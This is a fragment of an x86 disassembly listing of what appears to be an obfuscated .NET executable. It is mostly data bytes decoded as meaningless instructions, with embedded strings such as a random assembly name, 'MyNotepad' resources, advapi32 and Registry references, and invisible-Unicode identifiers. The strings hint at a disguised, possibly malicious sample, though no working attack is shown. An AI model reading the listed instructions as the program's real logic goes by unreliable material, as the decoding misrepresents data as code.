476d96:	e5 00                	in     $0x0,%eax
476d98:	83 16 01             	adcl   $0x1,(%esi)
476d9b:	00 00                	add    %al,(%eax)
476d9d:	01 e7                	add    %esp,%edi
476d9f:	00 91 16 01 00 00    	add    %dl,0x116(%ecx)
476da5:	01 e9                	add    %ebp,%ecx
476da7:	00 9f 16 01 00 00    	add    %bl,0x116(%edi)
476dad:	01 eb                	add    %ebp,%ebx
476daf:	00 ad 16 04 00 00    	add    %ch,0x416(%ebp)
476db5:	01 ed                	add    %ebp,%ebp
476db7:	00 bb 16 04 00 00    	add    %bh,0x416(%ebx)
476dbd:	01 ef                	add    %ebp,%edi
476dbf:	00 d0                	add    %dl,%al
476dc1:	16                   	push   %ss
476dc2:	04 00                	add    $0x0,%al
476dc4:	04 80                	add    $0x80,%al
476dc6:	00 00                	add    %al,(%eax)
476dc8:	01 00                	add    %eax,(%eax)
476dd6:	01 00                	add    %eax,(%eax)
476dd8:	00 00                	add    %al,(%eax)
476dda:	04 00                	add    $0x0,%al
476de4:	00 00                	add    %al,(%eax)
476de6:	01 00                	add    %eax,(%eax)
476de8:	23 00                	and    (%eax),%eax
476dea:	00 00                	add    %al,(%eax)
476dec:	00 00                	add    %al,(%eax)
476dee:	04 00                	add    $0x0,%al
476df8:	00 00                	add    %al,(%eax)
476dfa:	01 00                	add    %eax,(%eax)
476dfc:	2c 00                	sub    $0x0,%al
476dfe:	00 00                	add    %al,(%eax)
476e00:	00 00                	add    %al,(%eax)
476e02:	04 00                	add    $0x0,%al
476e0c:	00 00                	add    %al,(%eax)
476e0e:	01 00                	add    %eax,(%eax)
476e10:	41                   	inc    %ecx
476e11:	00 00                	add    %al,(%eax)
476e13:	00 00                	add    %al,(%eax)
476e15:	00 04 00             	add    %al,(%eax,%eax,1)
476e20:	00 00                	add    %al,(%eax)
476e22:	0a 00                	or     (%eax),%al
476e24:	48                   	dec    %eax
476e25:	00 00                	add    %al,(%eax)
476e27:	00 00                	add    %al,(%eax)
476e29:	00 0a                	add    %cl,(%edx)
476e33:	00 00                	add    %al,(%eax)
476e35:	00 0a                	add    %cl,(%edx)
476e37:	00 57 00             	add    %dl,0x0(%edi)
476e42:	01 00                	add    %eax,(%eax)
476e44:	00 00                	add    %al,(%eax)
476e46:	9b                   	fwait
476e47:	00 00                	add    %al,(%eax)
476e49:	00 28                	add    %ch,(%eax)
476e4b:	31 00                	xor    %eax,(%eax)
476e4d:	00 01                	add    %al,(%ecx)
476e4f:	00 00                	add    %al,(%eax)
476e51:	00 aa 00 00 00 e0    	add    %ch,-0x20000000(%edx)
476e57:	31 00                	xor    %eax,(%eax)
476e59:	00 01                	add    %al,(%ecx)
476e5b:	00 00                	add    %al,(%eax)
476e5d:	00 b9 00 00 00 98    	add    %bh,-0x68000000(%ecx)
476e63:	32 00                	xor    (%eax),%al
476e65:	00 01                	add    %al,(%ecx)
476e67:	00 00                	add    %al,(%eax)
476e69:	00 c8                	add    %cl,%al
476e6b:	00 00                	add    %al,(%eax)
476e6d:	00 c0                	add    %al,%al
476e6f:	63 00                	arpl   %eax,(%eax)
476e71:	00 01                	add    %al,(%ecx)
476e73:	00 00                	add    %al,(%eax)
476e75:	00 d7                	add    %dl,%bh
476e77:	00 00                	add    %al,(%eax)
476e79:	00 9c 66 00 00 01 00 	add    %bl,0x10000(%esi,%eiz,2)
476e80:	00 00                	add    %al,(%eax)
476e82:	e6 00                	out    %al,$0x0
476e84:	00 00                	add    %al,(%eax)
476e86:	54                   	push   %esp
476e87:	67 00 00             	add    %al,(%bx,%si)
476e8a:	01 00                	add    %eax,(%eax)
476e8c:	00 00                	add    %al,(%eax)
476e8e:	f5                   	cmc
476e8f:	00 00                	add    %al,(%eax)
476e91:	00 0c 68             	add    %cl,(%eax,%ebp,2)
476e94:	00 00                	add    %al,(%eax)
476e96:	01 00                	add    %eax,(%eax)
476e98:	00 00                	add    %al,(%eax)
476e9a:	04 01                	add    $0x1,%al
476e9c:	00 00                	add    %al,(%eax)
476e9e:	08 e4                	or     %ah,%ah
476ea0:	05 00 01 00 00       	add    $0x100,%eax
476ea5:	00 2d 01 00 00 c0    	add    %ch,0xc0000001
476eab:	e4 05                	in     $0x5,%al
476ead:	00 01                	add    %al,(%ecx)
476eaf:	00 00                	add    %al,(%eax)
476eb1:	00 3c 01             	add    %bh,(%ecx,%eax,1)
476eb4:	00 00                	add    %al,(%eax)
476eb6:	e8 15 06 00 02       	call   0x24774d0
476ebb:	00 00                	add    %al,(%eax)
476ebd:	00 4b 01             	add    %cl,0x1(%ebx)
476ec0:	00 00                	add    %al,(%eax)
476ec2:	07                   	pop    %es
476ec3:	00 06                	add    %al,(%esi)
476ec5:	00 08                	add    %cl,(%eax)
476ec7:	00 06                	add    %al,(%esi)
476ec9:	00 09                	add    %cl,(%ecx)
476ecb:	00 06                	add    %al,(%esi)
476ecd:	00 0a                	add    %cl,(%edx)
476ecf:	00 06                	add    %al,(%esi)
476ed1:	00 0e                	add    %cl,(%esi)
476ed3:	00 0d 00 11 00 10    	add    %cl,0x10001100
476ed9:	00 12                	add    %dl,(%edx)
476edb:	00 11                	add    %dl,(%ecx)
476edd:	00 13                	add    %dl,(%ebx)
476edf:	00 10                	add    %dl,(%eax)
476ee1:	00 14 00             	add    %dl,(%eax,%eax,1)
476ee4:	10 00                	adc    %al,(%eax)
476ee6:	16                   	push   %ss
476ee7:	00 15 00 28 00 27    	add    %dl,0x27002800
476eed:	00 29                	add    %ch,(%ecx)
476eef:	00 27                	add    %ah,(%edi)
476ef1:	00 2a                	add    %ch,(%edx)
476ef3:	00 27                	add    %ah,(%edi)
476ef5:	00 2b                	add    %ch,(%ebx)
476ef7:	00 27                	add    %ah,(%edi)
476ef9:	00 2c 00             	add    %ch,(%eax,%eax,1)
476efc:	27                   	daa
476efd:	00 2d 00 27 00 2e    	add    %ch,0x2e002700
476f03:	00 27                	add    %ah,(%edi)
476f05:	00 2f                	add    %ch,(%edi)
476f07:	00 27                	add    %ah,(%edi)
476f09:	00 32                	add    %dh,(%edx)
476f0b:	00 31                	add    %dh,(%ecx)
476f0d:	00 33                	add    %dh,(%ebx)
476f0f:	00 31                	add    %dh,(%ecx)
476f11:	00 34 00             	add    %dh,(%eax,%eax,1)
476f14:	31 00                	xor    %eax,(%eax)
476f16:	35 00 31 00 36       	xor    $0x36003100,%eax
476f1b:	00 31                	add    %dh,(%ecx)
476f1d:	00 47 00             	add    %al,0x0(%edi)
476f20:	46                   	inc    %esi
476f21:	00 52 00             	add    %dl,0x0(%edx)
476f24:	51                   	push   %ecx
476f25:	00 00                	add    %al,(%eax)
476f27:	00 00                	add    %al,(%eax)
476f29:	00 04 00             	add    %al,(%eax,%eax,1)
476f2c:	dd 0e                	fisttpll (%esi)
476f2e:	01 00                	add    %eax,(%eax)
476f30:	00 00                	add    %al,(%eax)
476f32:	04 00                	add    $0x0,%al
476f34:	f3 0e                	repz push %cs
476f36:	00 00                	add    %al,(%eax)
476f38:	00 00                	add    %al,(%eax)
476f3a:	7a 00                	jp     0x476f3c
476f3c:	dd 0e                	fisttpll (%esi)
476f3e:	00 00                	add    %al,(%eax)
476f40:	00 00                	add    %al,(%eax)
476f42:	9c                   	pushf
476f43:	00 dd                	add    %bl,%ch
476f45:	0e                   	push   %cs
476f46:	65 02 c1             	gs add %cl,%al
476f49:	0c 65                	or     $0x65,%al
476f4b:	02 e0                	add    %al,%ah
476f4d:	0c 65                	or     $0x65,%al
476f4f:	02 ef                	add    %bh,%ch
476f51:	0c 00                	or     $0x0,%al
476f53:	00 00                	add    %al,(%eax)
476f55:	6e                   	outsb  %ds:(%esi),(%dx)
476f56:	73 43                	jae    0x476f9b
476f58:	53                   	push   %ebx
476f59:	4a                   	dec    %edx
476f5a:	6f                   	outsl  %ds:(%esi),(%dx)
476f5b:	67 70 64             	addr16 jo 0x476fc2
476f5e:	59                   	pop    %ecx
476f5f:	65 51                	gs push %ecx
476f61:	51                   	push   %ecx
476f62:	79 00                	jns    0x476f64
476f64:	6e                   	outsb  %ds:(%esi),(%dx)
476f65:	73 43                	jae    0x476faa
476f67:	53                   	push   %ebx
476f68:	4a                   	dec    %edx
476f69:	6f                   	outsl  %ds:(%esi),(%dx)
476f6a:	67 70 64             	addr16 jo 0x476fd1
476f6d:	59                   	pop    %ecx
476f6e:	65 51                	gs push %ecx
476f70:	51                   	push   %ecx
476f71:	79 2e                	jns    0x476fa1
476f73:	65 78 65             	gs js  0x476fdb
476f76:	00 6d 73             	add    %ch,0x73(%ebp)
476f79:	63 6f 72             	arpl   %ebp,0x72(%edi)
476f7c:	6c                   	insb   (%dx),%es:(%edi)
476f7d:	69 62 00 53 79 73 74 	imul   $0x74737953,0x0(%edx),%esp
476f84:	65 6d                	gs insl (%dx),%es:(%edi)
476f86:	2e 57                	cs push %edi
476f88:	69 6e 64 6f 77 73 2e 	imul   $0x2e73776f,0x64(%esi),%ebp
476f8f:	46                   	inc    %esi
476f90:	6f                   	outsl  %ds:(%esi),(%dx)
476f91:	72 6d                	jb     0x477000
476f93:	73 00                	jae    0x476f95
476f95:	53                   	push   %ebx
476f96:	79 73                	jns    0x47700b
476f98:	74 65                	je     0x476fff
476f9a:	6d                   	insl   (%dx),%es:(%edi)
476f9b:	00 53 79             	add    %dl,0x79(%ebx)
476f9e:	73 74                	jae    0x477014
476fa0:	65 6d                	gs insl (%dx),%es:(%edi)
476fa2:	2e 44                	cs inc %esp
476fa4:	72 61                	jb     0x477007
476fa6:	77 69                	ja     0x477011
476fa8:	6e                   	outsb  %ds:(%esi),(%dx)
476fa9:	67 00 4d 69          	add    %cl,0x69(%di)
476fad:	63 72 6f             	arpl   %esi,0x6f(%edx)
476fb0:	73 6f                	jae    0x477021
476fb2:	66 74 2e             	data16 je 0x476fe3
476fb5:	56                   	push   %esi
476fb6:	69 73 75 61 6c 42 61 	imul   $0x61426c61,0x75(%ebx),%esi
476fbd:	73 69                	jae    0x477028
476fbf:	63 00                	arpl   %eax,(%eax)
476fc1:	75 73                	jne    0x477036
476fc3:	65 72 33             	gs jb  0x476ff9
476fc6:	32 2e                	xor    (%esi),%ch
476fc8:	64 6c                	fs insb (%dx),%es:(%edi)
476fca:	6c                   	insb   (%dx),%es:(%edi)
476fcb:	00 55 73             	add    %dl,0x73(%ebp)
476fce:	65 72 33             	gs jb  0x477004
476fd1:	32 2e                	xor    (%esi),%ch
476fd3:	44                   	inc    %esp
476fd4:	6c                   	insb   (%dx),%es:(%edi)
476fd5:	6c                   	insb   (%dx),%es:(%edi)
476fd6:	00 75 73             	add    %dh,0x73(%ebp)
476fd9:	65 72 33             	gs jb  0x47700f
476fdc:	32 2e                	xor    (%esi),%ch
476fde:	44                   	inc    %esp
476fdf:	6c                   	insb   (%dx),%es:(%edi)
476fe0:	6c                   	insb   (%dx),%es:(%edi)
476fe1:	00 61 64             	add    %ah,0x64(%ecx)
476fe4:	76 61                	jbe    0x477047
476fe6:	70 69                	jo     0x477051
476fe8:	33 32                	xor    (%edx),%esi
476fea:	2e 64 6c             	cs fs insb (%dx),%es:(%edi)
476fed:	6c                   	insb   (%dx),%es:(%edi)
476fee:	00 02                	add    %al,(%edx)
476ff0:	e2 80                	loop   0x476f72
476ff2:	81 2e 72 65 73 6f    	subl   $0x6f736572,(%esi)
476ff8:	75 72                	jne    0x47706c
476ffa:	63 65 73             	arpl   %esp,0x73(%ebp)
476ffd:	00 06                	add    %al,(%esi)
476fff:	e2 80                	loop   0x476f81
477001:	80 2e 72             	subb   $0x72,(%esi)
477004:	65 73 6f             	gs jae 0x477076
477007:	75 72                	jne    0x47707b
477009:	63 65 73             	arpl   %esp,0x73(%ebp)
47700c:	00 06                	add    %al,(%esi)
47700e:	e2 80                	loop   0x476f90
477010:	81 2e 72 65 73 6f    	subl   $0x6f736572,(%esi)
477016:	75 72                	jne    0x47708a
477018:	63 65 73             	arpl   %esp,0x73(%ebp)
47701b:	00 0e                	add    %cl,(%esi)
47701d:	e2 80                	loop   0x476f9f
47701f:	81 2e 72 65 73 6f    	subl   $0x6f736572,(%esi)
477025:	75 72                	jne    0x477099
477027:	63 65 73             	arpl   %esp,0x73(%ebp)
47702a:	00 02                	add    %al,(%edx)
47702c:	e2 80                	loop   0x476fae
47702e:	84 2e                	test   %ch,(%esi)
477030:	72 65                	jb     0x477097
477032:	73 6f                	jae    0x4770a3
477034:	75 72                	jne    0x4770a8
477036:	63 65 73             	arpl   %esp,0x73(%ebp)
477039:	00 0f                	add    %cl,(%edi)
47703b:	e2 80                	loop   0x476fbd
47703d:	84 2e                	test   %ch,(%esi)
47703f:	72 65                	jb     0x4770a6
477041:	73 6f                	jae    0x4770b2
477043:	75 72                	jne    0x4770b7
477045:	63 65 73             	arpl   %esp,0x73(%ebp)
477048:	00 03                	add    %al,(%ebx)
47704a:	e2 80                	loop   0x476fcc
47704c:	84 2e                	test   %ch,(%esi)
47704e:	72 65                	jb     0x4770b5
477050:	73 6f                	jae    0x4770c1
477052:	75 72                	jne    0x4770c6
477054:	63 65 73             	arpl   %esp,0x73(%ebp)
477057:	00 4d 79             	add    %cl,0x79(%ebp)
47705a:	4e                   	dec    %esi
47705b:	6f                   	outsl  %ds:(%esi),(%dx)
47705c:	74 65                	je     0x4770c3
47705e:	70 61                	jo     0x4770c1
477060:	64 2e 50             	fs cs push %eax
477063:	72 6f                	jb     0x4770d4
477065:	70 65                	jo     0x4770cc
477067:	72 74                	jb     0x4770dd
477069:	69 65 73 2e 52 65 73 	imul   $0x7365522e,0x73(%ebp),%esp
477070:	6f                   	outsl  %ds:(%esi),(%dx)
477071:	75 72                	jne    0x4770e5
477073:	63 65 73             	arpl   %esp,0x73(%ebp)
477076:	2e 72 65             	jb,pn  0x4770de
477079:	73 6f                	jae    0x4770ea
47707b:	75 72                	jne    0x4770ef
47707d:	63 65 73             	arpl   %esp,0x73(%ebp)
477080:	00 06                	add    %al,(%esi)
477082:	e2 80                	loop   0x477004
477084:	84 2e                	test   %ch,(%esi)
477086:	72 65                	jb     0x4770ed
477088:	73 6f                	jae    0x4770f9
47708a:	75 72                	jne    0x4770fe
47708c:	63 65 73             	arpl   %esp,0x73(%ebp)
47708f:	00 0e                	add    %cl,(%esi)
477091:	e2 80                	loop   0x477013
477093:	84 2e                	test   %ch,(%esi)
477095:	72 65                	jb     0x4770fc
477097:	73 6f                	jae    0x477108
477099:	75 72                	jne    0x47710d
47709b:	63 65 73             	arpl   %esp,0x73(%ebp)
47709e:	00 e2                	add    %ah,%dl
4770a0:	80 82 e2 80 80 e2 80 	addb   $0x80,-0x1d7f7f1e(%edx)
4770a7:	87 e2                	xchg   %esp,%edx
4770a9:	80 88 e2 80 80 e2 80 	orb    $0x80,-0x1d7f7f1e(%eax)
4770b0:	87 e2                	xchg   %esp,%edx
4770b2:	80 8a e2 80 8a e2 80 	orb    $0x80,-0x1d757f1e(%edx)
4770b9:	85 e2                	test   %esp,%edx
4770bb:	80 88 e2 80 80 e2 80 	orb    $0x80,-0x1d7f7f1e(%eax)
4770c2:	87 e2                	xchg   %esp,%edx
4770c4:	80 80 00 50 72 6f 6a 	addb   $0x6a,0x6f725000(%eax)
4770cb:	65 63 74 44 61       	arpl   %esi,%gs:0x61(%esp,%eax,2)
4770d0:	74 61                	je     0x477133
4770d2:	00 4d 69             	add    %cl,0x69(%ebp)
4770d5:	63 72 6f             	arpl   %esi,0x6f(%edx)
4770d8:	73 6f                	jae    0x477149
4770da:	66 74 2e             	data16 je 0x47710b
4770dd:	56                   	push   %esi
4770de:	69 73 75 61 6c 42 61 	imul   $0x61426c61,0x75(%ebx),%esi
4770e5:	73 69                	jae    0x477150
4770e7:	63 2e                	arpl   %ebp,(%esi)
4770e9:	43                   	inc    %ebx
4770ea:	6f                   	outsl  %ds:(%esi),(%dx)
4770eb:	6d                   	insl   (%dx),%es:(%edi)
4770ec:	70 69                	jo     0x477157
4770ee:	6c                   	insb   (%dx),%es:(%edi)
4770ef:	65 72 53             	gs jb  0x477145
4770f2:	65 72 76             	gs jb  0x47716b
4770f5:	69 63 65 73 00 52 65 	imul   $0x65520073,0x65(%ebx),%esp
4770fc:	67 69 73 74 72 79 00 	imul   $0x4d007972,0x74(%bp,%di),%esi
477103:	4d
477104:	69 63 72 6f 73 6f 66 	imul   $0x666f736f,0x72(%ebx),%esp
47710b:	74 2e                	je     0x47713b
47710d:	57                   	push   %edi
47710e:	69 6e 33 32 00 52 65 	imul   $0x65520032,0x33(%esi),%ebp
477115:	67 69 73 74 72 79 4b 	imul   $0x654b7972,0x74(%bp,%di),%esi
47711c:	65
47711d:	79 00                	jns    0x47711f